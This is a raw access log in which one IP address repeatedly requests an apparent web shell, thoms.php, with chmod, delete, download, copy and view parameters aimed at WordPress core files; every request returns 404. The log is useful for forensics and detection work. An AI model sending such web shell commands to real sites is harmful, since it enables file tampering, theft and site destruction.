45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?chmod=script-loader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?del=formatting.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?dl=style-engine.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?chmod=abilities-api&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-network.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-network.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?dl=theme-templates.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:49 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?chmod=session.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?chmod=theme.json&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?del=version.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=version.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fscript-modules.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fscript-modules.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?del=ms-deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:50 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?del=class-wp-theme.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?del=class-wp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?dl=icons.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?chmod=robots-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?chmod=customize&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?dl=class-walker-page.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?del=ms-default-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?chmod=post-formats.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme-previews.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme-previews.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:51 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?del=class.wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?del=registration.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?del=block-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?del=cache.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?dl=class-wp-block.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?dl=general-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:52 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
